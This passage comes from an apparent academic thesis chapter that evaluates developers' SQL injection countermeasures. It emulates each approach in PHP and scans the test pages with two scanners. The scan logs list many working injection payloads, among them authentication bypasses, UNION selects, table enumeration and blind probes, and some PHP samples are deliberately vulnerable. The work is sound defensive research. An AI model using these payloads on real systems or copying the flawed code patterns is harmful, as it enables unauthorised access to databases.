instead of relying upon features like magical [sic.] quotes.” (PHP, 2010).  While this is 
undoubtedly true, the underlying assumption that all developers are behaving in this manner has 
led to the ironic situation whereby the industry-wide belief that SQL injection is no longer a 
threat has caused a chain of events, resulting in an increase in the number of SQL injection flaws 
worldwide. 
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An extremely prevalent misconception, shared by over 50% of those interviewed, was 
that SQL Injection could only be used to modify the content of a site, enabling Cross Site 
Scripting (XSS).  When encouraged to consider the other possibilities available to malicious user 
upon discovery of a SQL injection flaw, most realized, or remembered, that schema enumeration 
and the theft of sensitive information was also possible but admitted that these possibilities did 
not immediately spring to mind whenever they had been discussing the topic of SQL injection in 
the previous year.  Only 28.5% of interviewees explained that complete control of the server 
could be possible, from which other attacks could be launched.  This is perhaps explained by the 
tendency of Web developers to think in terms of Web site rather than Web servers.   
 
Identifying Unique Approaches to Counteracting Input Validation Attacks 
The third and final objective of the developer interviews was to discover the exact means 
by which each developer tackled the problems of creating login forms and query-string driven 
information systems, so that, wherever possible, these approaches could be emulated in a 
PHP/MySQL environment.  The purpose of these emulations was to enable risk-free 
vulnerability assessment on each discovered approach, using the bespoke vulnerability scanner, 
described in the previous chapter. 
The seven distinct approaches to security, discovered during this process, fall into two 
broad categories: SQL Server input validation (43%) and Web server input validation (57%).  
Input validation, involving the SQL Server, was achieved through the use of stored procedures or 
prepared statements.  Web server-based input validation involved the removal and/or escaping of 
defined characters or phrases, prior to the execution of the SQL statement.  The percentage 
breakdown, in terms of each method's usage, is illustrated in figure 5.2, below. 
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Figure 5.2 – Principle SQL Injection Countermeasures Employed By Interviewees 
 
The approaches to security, used by each of the interviewees were as follows: 
• Approach A - Bespoke blacklist (JSP / MySQL). 
• Approach B – Use of Magic quotes and server-side truncation (PHP / MySQL). 
• Approach C - Stored procedures (Microsoft.NET / SQL Server 2005). 
• Approach D – Vendor-specific escaping (PHP / MySQL). 
• Approach E - Bespoke blacklist (PHP / MySQL). 
• Approach F - Prepared statements (Microsoft.NET / SQL Server 2008). 
• Approach G - Prepared statements (JSP / MySQL). 
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Approach A. 
In this approach, the problem of SQL injection was addressed through the use of a 
bespoke blacklist of disallowed strings or characters, which were automatically removed from all 
content placed within any inline SQL statements.  These disallowed strings included single 
quotes, square brackets, backslashes, semicolons, hyphens, percentage signs, and the Hex-
encoding identification string ‘0x’.  The blacklist was also applied to any numeric input, which 
was also Truncated to eight characters.  References to numeric field values, within SQL 
statements, while rare, were never wrapped in quotes.  Database server-generated messages were 
visible to the user and no limit was placed on the number of login attempts a user could make.  
Password values were always encrypted within the database. 
 
Approach B. 
Here, the developer relied on PHP's Magic Quotes feature to escape single-quotes, 
double-quotes, backslashes, and the null character (\0). Numeric field values are wrapped in 
single quotes, whenever included in the in-line SQL statements.  The number of login attempts 
was not limited and all error messages were suppressed.  Password entries were encrypted by 
default within the database. 
 
Approach C. 
This approach involved the use of stored procedures in all database interactions.  Strong 
typing within procedure calls, coupled with the SQL Server’s automated escaping of reserved 
characters within string inputs, ensured the validation of user input.  Relatively large user name 
and password field lengths were used in the number of login attempts was not limited.  
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Typically, e-mail addresses were used instead of usernames and the system allowed up to 255 
characters for these.  Passwords of up to 50 characters in length were also supported.  All 
database error messages were suppressed by database content was never encrypted unless 
explicitly requested by the client. 
 
Approach D. 
A vendor-specific validation routine was employed on both character and numeric user 
input before being embedded within in-line SQL statements. The maximum number of login 
attempts was unlimited and numeric values were not wrapped in single quotes.  Database entries 
and other sensitive information were encoded by default.  As database activity was kept to a 
minimum, the database resided on the Web server. 
 
Approach E. 
In an approach very similar to that of approach A, above a blacklist of unwanted strings 
were removed from all user input before in-line SQL statements were constructed.  Disallowed 
strings were spaces, semicolons, hyphens, and the reserved words ‘SELECT’, ‘UNION’, 
‘DELETE’, and ‘DROP’.  PHP's Magic Quotes feature was also used to escape backslashes, null 
characters, single quotes, and double quotes.  Numeric fields were truncated to 10 characters in 
length and were surrounded by single quotes whenever referenced within queries. All database 
errors were suppressed and sensitive database content was encrypted. 
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Approach F. 
This .NET-based approach used prepared statements in all database interactions, in 
conjunction with strong typing and an optional extra validation layer to protect against SQL 
injection.  Response.write encoding/decoding was also used to reduce the threat of Cross Site 
Scripting.  Sensitive database information was encrypted by default, and database errors were 
suppressed. 
  
Approach G. 
This JSP-based approach used the ‘hibernate’ Object Relational Modeling (ORM) library 
to access an underlying MySQL database using prepared statements.  The database server and 
Web server typically coexisted on the same hardware.  Database information was not encrypted, 
and database or JSP error messages were not suppressed from the user, should an error occur.  
Query string input was only used wherever a single character was required and this was 
truncated to a single character on the server-side.  Form data was used to handle all other user 
input, which was sent, unfiltered, to hibernate for processing. 
 
Evaluating Each Unique Approach 
A simple, single page website was created as a generic template, onto which each distinct 
approach could be easily applied.  The system accepted user input via the query string or a login 
form which was presented whenever no user input was detected.  The login form accepted either 
a user name or user ID, and a password, and submitted its form data to itself.  On page load, an 
in-line SQL statement would be created, incorporating the user supplied data.  The system 
created separate statements, depending on whether the username string or numeric user ID had 
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been supplied.  This allowed differences between interviewees’ approaches to handling 
character-and numeric-fields to be mimicked in a single Web page.  The page also accepted the 
form input via the query string, causing a query-string-driven database query to be executed, 
referencing at least one numeric or alphabetic database field.  This reuse of the login form’s SQL 
statements, although unusual, was adequate to enable the testing of any interviewee’s approaches 
with query-string-based attacks. 
The complete source code for this generic prototype is listed in appendix E, along with 
that of all variations, created to perfectly mimic the approaches described by those interviewed. 
Alternatively, figure 5.3 contains a brief pseudo-code outline of this test page’s logic, with bold 
text to indicate any areas which will need to be modified to emulate each distinct approach: 
 
 
State whether to display PHP errors and warnings. 
Set verbose mode to On 
Set Die-on-database-failure mode to On 
if a value for ‘user’ was detected, either in a Post or Get variable { 
  if a connection to the database can be made { 
    Call AuthenticateUser() 
    Disconnect from the database. 
  } 
} otherwise { 
  Display the login form: username and userID fields, password field, 
    and submit button. 
} 
 
AuthenticateUser() { 
  if the user ID was not supplied { 
    Construct a SQL statement using the username and password fields. 
  } otherwise { 
    Construct a SQL statement using the user ID and password fields. 
  } 
  Call sqlQuery to execute the query, displaying the query syntax on screen. 
  if more than one row is returned { 
    Display "You are logged in." 
  } otherwise { 
    Display "Login failed - Try again" 
  } 
} 
 
sqlQuery() { 
  Accept the query to execute as the first parameter. 
  Accept whether to display debug information as the second parameter. 
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    Default to False. 
  Accept whether to stop executing if debug information is displayed as the  
    third parameter.  Default to False. 
  Accept whether to run silently as the fourth parameter. Default to False. 
 
  if debug mode is on { 
    Display the query syntax on screen. 
    if configured to stop executing when debug information is displayed {  
      Stop executing. 
    } 
  } 
  Execute the SQL query.   
  if there is an error and silent mode is not on { 
    if verbose mode is on { 
      Display a verbose database error. 
    } otherwise { 
      Display "Database error encountered" 
    } 
    if Die-on-database-failure mode is on { 
      Display "This script cannot continue, terminating." 
      Stop executing. 
    } 
  }  
} 
Figure 5.3 – Pseudo-code of the test page, from which all approach emulations were created 
 
Approach A. 
Emulation. 
Implementing a bespoke blacklist to filter out unwanted characters involved the creation 
of a sqlSafe function, which was called during the creation of the in-line SQL query, as shown in 
figure 5.4, below.  As the emulation was created on a PHP 5.2.8 system, which uses Magic 
Quotes, the effects of this feature were first undone by removing any inserted escape characters 
with the stripslashes command. 
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  if (empty($_request['id'])) { 
    $sql = "SELECT uid, pwd FROM users WHERE uid='"  
         . sqlsafe($_request['user']) 
         . "' AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  } else { 
    $sql = "SELECT uid, pwd FROM users WHERE id="  
         . substr($_request['id'], 0, 8) 
         . " AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  } 
 
. 
. 
. 
 
function sqlsafe($sql) { 
  $search = str_replace("0x", "", preg_replace("'[\';\-%\\\\]'", "", 
            stripslashes($sql))); 
  return($search); 
} 
Figure 5.4 – PHP implementation of approach A 
 
Bespoke Scanner Test Results. 
Scanning the login form, using the username and password fields was achieved by 
invoking the scanner with the URI of the form to scan as the only parameter.  This meant that the 
form fields to use for SQL Injection attacks had to be selected manually from lists, presented by 
the system. It was not necessary to provide a successful login indication string because the test 
system’s welcome message included a phrase that would be recognized by SQLscan’s default 
recognition strings.  As Figure 5.5 shows, no vulnerabilities were found in this case. 
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[root@www2 sqlscan]# ./sqlscan http://www.evanryder.com/approachA.php                                                                                                          
Info: Logging to ./logs/evanryder.com_approachA.php.log 
Below are all form fields in this Web page - Please select the Username 
field: 
1) user                  3) pass                  5) View_Full_Tags 
2) id                    4) submit                6) View_Complete_Source 
Username Field? 1 
Please select the Password field: 
1) user                  3) pass                  5) View_Full_Tags 
2) id                    4) submit                6) View_Complete_Source 
Password Field? 3 
Checking for generic vulnerabilities: -WARNING: Check for successful logins 
impaired because no definitive searchphrase has been provided. Use the -s 
switch to set this. Using common searchphrases instead. 
Done 
Checking for MSSQLServer vulnerabilities: Done 
Checking for MySQL vulnerabilities: Done 
Checking for Oracle vulnerabilities: Done 
Info: 0 possible vulnerabilities found. 
[root@www2 sqlscan]# 
Figure 5.5 – Scanning for vulnerabilities in the ‘user’ and ‘pass’ fields with SQLscan 
 
Next, SQLscan was used to identify any problems with the second login method: using 
the numeric user identifier and password.  The username and password fields to use were 
supplied using the –u and –p parameters, respectively, and verbose output was enabled with the –
v switch to display all vulnerabilities as they were discovered.  A number of attacks were 
possible even though the id field was restricted to eight characters in length and all characters in 
the blacklist were removed from each new attack input. 
[root@www2 sqlscan]# ./sqlscan -vu id -p pass 
http://www.evanryder.com/approachA.php 
Info: Logging to ./logs/evanryder_com_approachA.php.log 
Info: Scan of http://www.evanryder.com/approachA.php initiated at Mon Jul 26 
18:30:29 IST 2010. 
Info: Posting to http://www.evanryder.com/approachA.php 
Checking for generic vulnerabilities: -!! MySQL database detected. !! 
Vulnerability: Plain-text SQL Injection (username field) - E.g. id = "'", 
pass = "mypwd" 
 
|Vulnerability: Unsuppressed error messages: Numeric field - invalid syntax - 
E.g. id = "1 when 0", pass = "1 when 0" 
 
/Vulnerability: Unsuppressed error messages: Character field - invalid syntax 
- E.g. id = "1' when 0", pass = "1' when 0" 
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-Vulnerability: Unsuppressed error messages: Numeric username field - 
Reference to non-existent table - E.g. id = "(SELECT id FROM 
nonExistentTable)", pass = "9999" 
 
\Vulnerability: Unsuppressed error messages: Character username field - 
Reference to non-existent table - E.g. id = "' and 9=(SELECT id FROM 
nonExistentTable)", pass = "9999" 
 
-Vulnerability: Unsuppressed error messages: Numeric username field - 
Reference to non-existent column in existing table - E.g. id = "(SELECT 
idxr3)", pass = "9999" 
 
\Vulnerability: Unsuppressed error messages: Character username field - 
Reference to non-existent column in existing table - E.g. id = "' and 
9=(SELECT idxr3)", pass = "9999" 
 
-Vulnerability: Unsuppressed error messages: Numeric username field - 
Comparison of a single value to multiple values - E.g. id = "(SELECT 1,2)", 
pass = "9999" 
 
\Vulnerability: Unsuppressed error messages: Character username field - 
Comparison of a single value to multiple values - E.g. id = "' and 9=(SELECT 
1,2)", pass = "9999" 
 
-WARNING: Check for successful logins impaired because no definitive 
searchphrase has been provided. Use the -s switch to set this. Using common 
searchphrases instead. 
Done 
Checking for MySQL vulnerabilities: /Vulnerability: Login by selecting all 
records (numeric username field) - E.g. id = "4 OR 1#", pass = "mypwd" 
 
-Vulnerability: Login by selecting all records (numeric username field) - 
E.g. id = "4 OR 1-- ", pass = "mypwd" 
 
\Vulnerability: Login by selecting all records (numeric username field) - 
E.g. id = "4 OR 1/*", pass = "mypwd" 
 
\Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "4||1#", pass = "mypwd" 
 
Done 
Info: 13 possible vulnerabilities found. 
Info: All done - Mon Jul 26 18:36:06 IST 2010. 
List all Vulnerabilities? [y/n]:  - No 
All vulnerabilities are listed in the log file: 
./logs/evanryder_com_approachA.php.log 
[root@www2 sqlscan]# 
Figure 5.6 - Scanning for vulnerabilities in the ‘id’ and ‘pass’ fields with SQLscan 
 
 Similar vulnerabilities were found when testing the id field as a querystring variable.  
This was achieved by specifying the attack field with the –G command line switch.  Again, 
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verbose mode was enabled so that each vulnerability could be seen immediately.  The results of 
this scan ate listed in figure 5.7, below.  Scanning all other query-string fields discovered no 
additional problems. 
[root@www2 sqlscan]# ./sqlscan -vG id  
http://www.evanryder.com/approachA.php?id=1\&pass=whoknows  
Info: Logging to ./logs/evanryder.com_approachA.php.log 
Info: Scan of http://www.evanryder.com/approachA.php?id=1&pass=whoknows 
initiated at Mon Jul 26 18:52:06 IST 2010. 
Checking for generic vulnerabilities: |!! MySQL database detected. !! 
 
Vulnerability: String termination to induce a syntax error - plain text - 
E.g. http://www.evanryder.com/approachA.php?id='&pass=whoknows& 
/Vulnerability: SQL command termination to induce a syntax error (numeric 
field) - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=;&pass=whoknows& 
- 
Vulnerability: Unsuppressed error messages: Character field - invalid syntax 
- plain text - E.g. http://www.evanryder.com/approachA.php?id=1' when 
0&pass=whoknows& 
\ 
Vulnerability: Unsuppressed error messages: Numeric field - invalid syntax - 
plain text - E.g. http://www.evanryder.com/approachA.php?id=1 when 
0&pass=whoknows& 
| 
Vulnerability: Unsuppressed error messages: Numeric field - Reference to non-
existent table - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=(SELECT id FROM 
nonExistentTable)&pass=whoknows& 
/ 
Vulnerability: Unsuppressed error messages: Alphabetic field - Reference to 
non-existent table - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=' AND 9 = (SELECT id FROM 
nonExistentTable)&pass=whoknows& 
- 
Vulnerability: Unsuppressed error messages: Numeric field - Reference to non-
existent column in existing table - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=(SELECT idxr3)&pass=whoknows& 
\ 
Vulnerability: Unsuppressed error messages: Alphabetic field - Reference to 
non-existent column in existing table - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=' OR 9 = (SELECT 
idxr3)&pass=whoknows& 
| 
Vulnerability: Unsuppressed error messages: Numeric field - Comparing single 
numeric value to multiples - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=(SELECT 1, 2)&pass=whoknows& 
/ 
Vulnerability: Unsuppressed error messages: Character field - Comparing 
single numeric value to multiples - plain text - E.g. 
http://www.evanryder.com/approachA.php?id=' OR 1 = (SELECT 1, 
2)&pass=whoknows& 
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\WARNING: Check for successful logins impaired because no definitive 
searchphrase has been provided. Use the -s switch to set this. Using common 
searchphrases instead. 
Vulnerability: Return all records using 'OR n=n' (plaintext, no truncation) - 
E.g. http://www.evanryder.com/approachA.php?id=1 OR 432=432&pass=whoknows& 
/ 
Vulnerability: Return all records & query truncation using 'OR n=n -- ' 
(plaintext) - E.g. http://www.evanryder.com/approachA.php?id=1 OR 432=432 -- 
&pass=whoknows& 
Done 
Checking for MySQL vulnerabilities: \Vulnerability: Return all records & 
query truncation using '--%20' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachA.php?id=1 OR 432=432 --%20&pass=whoknows& 
| 
Vulnerability: Return all records & query truncation using '#' (numeric field 
- plaintext) - E.g. http://www.evanryder.com/approachA.php?id=1 OR 432=432 
%23&pass=whoknows& 
- 
Vulnerability: Return all records & query truncation using '/*' (numeric 
field - plaintext) - E.g. http://www.evanryder.com/approachA.php?id=1 OR 
432=432 /*&pass=whoknows& 
| 
Vulnerability: Return all records using alternate OR syntax (2 vertical bars) 
& query truncation using '--%20' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachA.php?id=1%7c%7c1--%20&pass=whoknows& 
/ 
Vulnerability: Return all records & query truncation using alternate OR 
syntax (2 vertical bars) and '#' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachA.php?id=1%7c%7c1%23&pass=whoknows& 
- 
Vulnerability: Return all records & query truncation using alternate OR 
syntax and '/*' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachA.php?id=1%7c%7c1/*&pass=whoknows& 
Done 
Info: 18 possible vulnerabilities found. 
Info: All done - Mon Jul 26 18:53:59 IST 2010. 
List all Vulnerabilities? [y/n]:  - No 
All vulnerabilities are listed in the log file: 
./logs/evanryder.com_approachA.php.log 
[root@www2 sqlscan]# 
Figure 5.7 – Scanning for vulnerabilities with SQLscan using the ‘id’ query-string field  
 
Off-the-shelf Scanner Test Results. 
Upon testing the same form with ‘SQL Inject Me’, from Security Compass, a similar 
number of problems were reported for the ‘id’ field; however, as shown in figure 5.8, two errors 
were reported for most tests.  Closer inspection of the reported problems revealed that the tests 
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performed by this tool corresponded to the first ten tests reported by SQLscan, listed in figure 
5.7, above. 
Error string found: 'SQL Error' 
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31 
 
Error string found: 'SQL Error' 
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE 
 
Error string found: 'SQL Error' 
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype 
= 'U' -- 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype 
= 'U' -- 
 
Error string found: 'SQL Error' 
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects 
WHERE xtype='U'), 1, 1))) > 116 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects 
WHERE xtype='U'), 1, 1))) > 116 
 
Error string found: 'SQL Error' 
Tested value: ' OR username IS NOT NULL OR username = ' 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: ' OR username IS NOT NULL OR username = ' 
 
Error string found: 'SQL Error' 
Tested value: 1' AND non_existant_table = '1 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1' AND non_existant_table = '1 
 
Error string found: 'SQL Error' 
Tested value: 1'1 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1'1 
 
Error string found: 'SQL Error' 
Tested value: '; DESC users; -- 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: '; DESC users; -- 
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Error string found: 'SQL Error' 
Tested value: 1 AND USER_NAME() = 'dbo' 
 
Error string found: 'SQL Error' 
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); -- 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); -- 
 
Error string found: 'SQL Error' 
Tested value: 1 AND 1=1 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1 AND 1=1 
 
Error string found: 'SQL Error' 
Tested value: 1 EXEC XP_ 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1 EXEC XP_ 
 
Error string found: 'SQL Error' 
Tested value: 1'1 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1'1 
 
Error string found: 'SQL Error' 
Tested value: 1' OR '1'='1 
Error string found: 'You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use' 
Tested value: 1' OR '1'='1 
Figure 5.8 – Vulnerabilities reported by ‘SQL Inject Me’ for Approach A’s ‘id’ field 
 
White-box testing and analysis. 
All of the above scan results indicate that Approach A has two fundamental flaws: SQL 
Injection, and information disclosure via unsuppressed database error messages. Upon 
examination of the code, it is apparent that SQL Injection is possible for two reasons.  First, input 
validation checks, such as checking whether the supplied data is numeric and applying the 
blacklist, are not applied to the ‘id’ field value.  Truncating the field to eight characters limits the 
damage that can be caused via SQL Injection attacks but, as demonstrated by SQLscan, many 
dangerous attacks are still possible.  Had the blacklist also been used to sanitize the user input, 
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the problem would still have existed because this blacklist is incomplete.  Even with it in place 
for the ‘id’ field, approximately 66% of SQLscan’s tests and 25% of those performed by ‘SQL 
Inject Me’ would still have been successful.  Second, the failure to enclose numeric values 
within single quotes means that many SQL Injection attacks will succeed where they would 
otherwise have failed. 
 
Approach B. 
Emulation. 
Approach B simply involved wrapping all user input in single quotes and relying on 
PHP's now deprecated Magic Quotes feature to escape all dangerous characters within the in-line 
SQL statement, as shown in figure 5.9, below.  As explained previously, this is presumed to be 
an extremely common approach in legacy code, across the Internet. 
  if (empty($_request['id'])) { 
    $sql = "SELECT name FROM users WHERE uid = '" . $_request["user"] . "' 
AND 
           pwd = '" . $_request["pass"] . "'"; 
  } else { 
    $sql = "SELECT uid, pwd FROM users WHERE id='" . $_request['id'] . "' AND 
           pwd='" . $_request['pass'] . "'"; 
  } 
Figure 5.9 – PHP implementation of approach B 
 
Bespoke Scanner Test Results. 
The effectiveness of this approach in preventing SQL injection attacks was clearly 
illustrated upon running SQLscan, which was unable to discover any vulnerabilities in the 
system emulating this approach. 
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Off-the-shelf Scanner Test Results. 
‘SQL Inject Me’ echoed SQLscan's assessment of this approach, detecting no security 
issues within this emulation. 
 
White-box testing and analysis. 
The simplicity and effectiveness of Magic Quotes as a SQL Injection countermeasure is 
clearly illustrated in this approach emulation, explaining its near-ubiquity in older PHP systems.  
Although perfectly secure in their intended environments, such systems are in danger of 
becoming vulnerable, either from being ported to newer host servers or as a result of routine 
maintenance, where server components, such as PHP, could be upgraded to newer versions.  The 
silent nature of this feature, coupled with the tendency for live systems to suppress server-
generated error and warning messages for security reasons, greatly increase the risk of the 
newly-introduced vulnerability, in previously secure applications, remaining undetected by 
system owners.  Any such vulnerability could easily be discovered, either manually or with the 
aid of a vulnerability scanner.  Unfortunately, such scans may well be carried out more 
frequently by malicious external users than by those in a position to mitigate the risk, as all 
interviewees using vulnerability scanners admitted to performing scans as a result of major 
application software updates only. 
 
Approach C. 
Emulation. 
Approach C. Involved the use of a stored procedure, both when authenticating a user and 
delivering content in reaction to the supplied query string variable.  Emulating this approach 
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using the PHP test model, involved the creation of two stored procedures.  Limitations of the 
database API, in use by the test system, meant that a record set could not be returned from the 
stored procedures, which was the norm described by the interviewee.  It was decided to use an 
output parameter, containing the number of records returned, to work around this problem 
without impacting on the study results.  The exact stored procedures, used to emulate this 
approach, are shown in figure 5.11, below.  Because all input validation is carried out on the 
database server in this approach, it was necessary to undo any modifications made by Magic 
Quotes, which was enabled on the test system.  This was achieved by removing all slashes from 
the user input before supplying it to the stored procedure, as shown in figure 5.10. 
<? 
function authenticateuser() { 
  if ( (!isset($_request["user"]) && !isset($_request["id"])) || !isset( 
       $_request["pass"]) ) { 
    // a required field is empty 
    echo "Login failed.<br/><br/><a href=\"javascript:history.back(1);\">Try 
                                         again</a>"; 
  } else { 
    if (empty($_request['id'])) { 
      $sql = "call userlogin('" . stripslashes($_request["user"]) . "', '" . 
             stripslashes($_request["pass"]) . "', @hits)"; 
    } else { 
      $sql = "call IDlogin('" . stripslashes($_request["id"]) . "', '" . 
             stripslashes($_request["pass"]) . "', @hits)"; 
    } 
    $query = sqlquery($sql, false, false, true); // No DB Errors/Messages 
             displayed 
    $query = sqlquery("SELECT @hits"); 
    $row = mysql_fetch_assoc($query); 
    if ($row["@hits"] > 0) { 
      echo "You are logged in."; 
      } else { 
      // redirect back to login form 
      echo "Login failed.<br/><br/> 
            <a href=\"javascript:history.back(1);\">Try again</a>"; 
    } 
  } 
  return; 
} 
?> 
Figure 5.10 – PHP implementation of approach C 
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DELIMITER | 
create procedure `IDlogin` 
( 
  in idNo bigint, 
  in passwd varchar(50), 
  OUT hits int 
) 
begin 
   select 
     count(*) 
   into hits 
   from users 
   where 
     id = idNo and pwd = passwd; 
end | 
 
 
create procedure `userlogin` 
( 
  in email varchar(255), 
  in passwd varchar(50), 
  OUT hits int 
) 
begin 
   select 
     count(*) 
   into hits 
   from users 
   where 
     uid = email and pwd = passwd; 
end | 
DELIMITER ; 
Figure 5.11 – Stored Procedures used in PHP implementation of approach C 
 
Bespoke Scanner Test Results. 
Scanning all fields with SQLscan, using both form- and query-string-based tests, 
uncovered no inherent weaknesses in this approach.   
 
Off-the-shelf Scanner Test Results. 
Unsurprisingly, 'SQL Inject Me' also reported no issues with any of the fields in the test 
system, demonstrating why stored procedures have long been recognised as effective 
countermeasures against SQL Injection attacks. 
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White-box testing and analysis. 
The correct use of stored procedures is a strong defence against SQL injection attacks and 
this approach is an excellent example of this.  However, the knowledge that your organisation's 
adopted approach is secure can often foster complacency in developers.  This, in conjunction 
with ambitious corporate deadlines and varying degrees of security awareness among individual 
developers can often mean that unsafe practices can be unknowingly adopted, weakening the 
security of the overall approach.  Such vulnerabilities are usually the result of developers having 
insufficient time to consider the security implications of their solutions, together with the 
assumption that "anything you do in a stored procedure is safe because stored procedures are 
secure." (Personal communications, July 8th, 2010).  A common example of this is the use of the 
EXEC command within a stored procedure to dynamically construct and execute a SQL 
statement using input parameter values.  This technique mirrors that used by classic ASP and 
PHP developers when creating inline SQL statements and is equally vulnerable to injection 
attacks.  All interviewees who use stored procedures in their solutions (28.5%) admitted to 
having discovered and corrected such vulnerabilities in stored procedures, created by less 
security-conscious developers, in the past year. 
 
Approach D. 
Emulation. 
This approach centres on the use of a vendor-specific escaping mechanism to ensure that 
the constructed SQL statement could not be altered in any way by malicious user input.  PHP 5 
provides such a mechanism for MySQL in the form of the mysql_real_escape_string() command.  
Again, a sqlSafe function was introduced to undo the effects of PHP Magic Quotes on the test 
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system and to apply the approach’s SQL Injection countermeasures, in this case MySQL-specific 
escaping, to the user input, as shown in figure 5.12: 
  if (empty($_request['id'])) { 
    $sql = "SELECT uid, pwd FROM users WHERE uid='" . 
sqlsafe($_request['user']) 
           . "' AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  } else { 
    $sql = "SELECT uid, pwd FROM users WHERE id=" . sqlsafe($_request['id'])  
       . " AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  } 
  $query = sqlquery($sql, false, false, true); // don’t show errors 
 
. 
. 
. 
 
function sqlsafe($sql) { 
  $search = stripslashes($sql);  // undo magic quotes (not used on system  
                                 // being emulated) 
  $search = mysql_real_escape_string($search); 
  return($search); 
} 
Figure 5.12 – PHP implementation of approach D 
 
Bespoke Scanner Test Results. 
Surprisingly, upon testing with SQLscan, a number of issues were discovered with the 'id' 
field, using both form- and query-string-centric attacks.  The errors reported for this field are 
listed in figures 5.13 and 5.14, below. 
[root@www2 sqlscan]# ./sqlscan -vs "logged in" -u id -p pass 
http://www.evanryder.com/approachD.php                                                                            
Info: Logging to ./logs/evanryder.com_approachD.php.log 
Info: Scan of http://www.evanryder.com/approachD.php initiated at Tue Jul 27 
16:16:09 IST 2010. 
Info: Posting to http://www.evanryder.com/approachD.php 
Checking for generic vulnerabilities: -Vulnerability: Log in by injecting an 
easy-to-detect true condition into a numeric username field (plaintext) - 
E.g. id = "0 OR 1=1 -- ", pass = "mypwd" 
 
Done 
Checking for MSSQLServer vulnerabilities: Done 
Checking for MySQL vulnerabilities: -Vulnerability: Login by selecting all 
records (numeric username field) - E.g. id = "4 OR 1#", pass = "mypwd" 
 
\Vulnerability: Login by selecting all records (numeric username field) - 
E.g. id = "4 OR 1-- ", pass = "mypwd" 
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|Vulnerability: Login by selecting all records (numeric username field) - 
E.g. id = "4 OR 1/*", pass = "mypwd" 
 
/Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "4/**/or/**/1#", pass = "mypwd" 
 
-Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "4/**/or/**/1-- ", pass = "mypwd" 
 
\Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "4/**/or/**/1/*", pass = "mypwd" 
 
|Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "4||1#", pass = "mypwd" 
 
/Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "(4)or(1)#", pass = "mypwd" 
 
-Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "(4)or(1)-- ", pass = "mypwd" 
 
\Vulnerability: Login by selecting all records using no spaces (numeric 
username field) - E.g. id = "(4)or(1)/*", pass = "mypwd" 
 
\Vulnerability: Login using union select (numeric username field + 2) - E.g. 
id = "1 union select 1,1 -- ", pass = "9" 
 
|Vulnerability: Login using union select (numeric username field + 2) - E.g. 
id = "1 union select 1,1#", pass = "9" 
 
/Vulnerability: Login using union select (numeric username field + 2) - E.g. 
id = "1 union select 1,1/*", pass = "9" 
 
Done 
Checking for Oracle vulnerabilities: Done 
Info: 14 possible vulnerabilities found. 
Info: All done - Tue Jul 27 16:16:32 IST 2010. 
List all Vulnerabilities? [y/n]: n - No 
All vulnerabilities are listed in the log file: 
./logs/evanryder.com_approachD.php.log 
[root@www2 sqlscan]# 
Figure 5.13 – Login form testing of approach D using the ‘id’ field 
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[root@www2 sqlscan]# ./sqlscan -vs "logged in" -G id 
http://www.evanryder.com/approachD.php?id=1\&pass=1                                                                       
Info: Logging to ./logs/evanryder.com_approachD.php.log 
Info: Scan of http://www.evanryder.com/approachD.php?id=1&pass=1 initiated at 
Tue Jul 27 16:19:40 IST 2010. 
Checking for generic vulnerabilities: \ 
Vulnerability: Return all records using 'OR n=n' (plaintext, no truncation) - 
E.g. http://www.evanryder.com/approachD.php?id=1 OR 432=432&pass=1& 
/ 
